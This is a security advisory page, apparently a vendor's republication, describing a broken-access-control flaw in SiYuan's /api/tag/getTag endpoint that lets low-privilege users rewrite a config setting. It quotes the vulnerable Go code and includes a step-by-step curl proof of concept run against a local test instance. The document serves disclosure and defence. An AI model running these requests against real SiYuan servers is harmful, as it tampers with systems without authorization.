GHSA-6r88-8v7q-q4p2
MEDIUMGHSA-6r88-8v7q-q4p2 is a medium-severity (CVSS 4.3) vulnerability in github.com/siyuan-note/siyuan/kernel. O3 Security confirms whether GHSA-6r88-8v7q-q4p2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.
Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).
Details
Affected files / lines (v3.6.5):
kernel/api/router.go:170 — only CheckAuth:
ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)
kernel/api/tag.go:28-64 — handler. The if nil != arg["sort"] block writes config without any role check:
func getTag(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok { return }
...
if nil != arg["sort"] { // ← unauthorized write path
sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
if !ok { return }
model.Conf.Tag.Sort = int(sortVal)
model.Conf.Save() // persists entire conf to <workspace>/conf/conf.json
}
...
}
Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).
PoC
Same Docker setup as Advisory 1.
# 1. Authenticate (any role with CheckAuth pass — admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
-H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4
# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
-H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}
# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7
# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7
The vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.
Impact
Limited direct damage — the writable field is only the tag display sort order. The pattern is concerning because:
- It demonstrates the same gap that
GHSA-4j3x-hhg2-fm2xwas meant to flag broadly (missingCheckAdminRole + CheckReadonlyon a read-style endpoint that performs writes); each occurrence has to be patched individually. Conf.Save()rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | 0.0.0-20260512140701-d7b77d945e0d |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/siyuan-note/siyuan/kernel to 0.0.0-20260512140701-d7b77d945e0d or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6r88-8v7q-q4p2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6r88-8v7q-q4p2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6r88-8v7q-q4p2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6r88-8v7q-q4p2 in your dependencies?
O3 detects GHSA-6r88-8v7q-q4p2 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.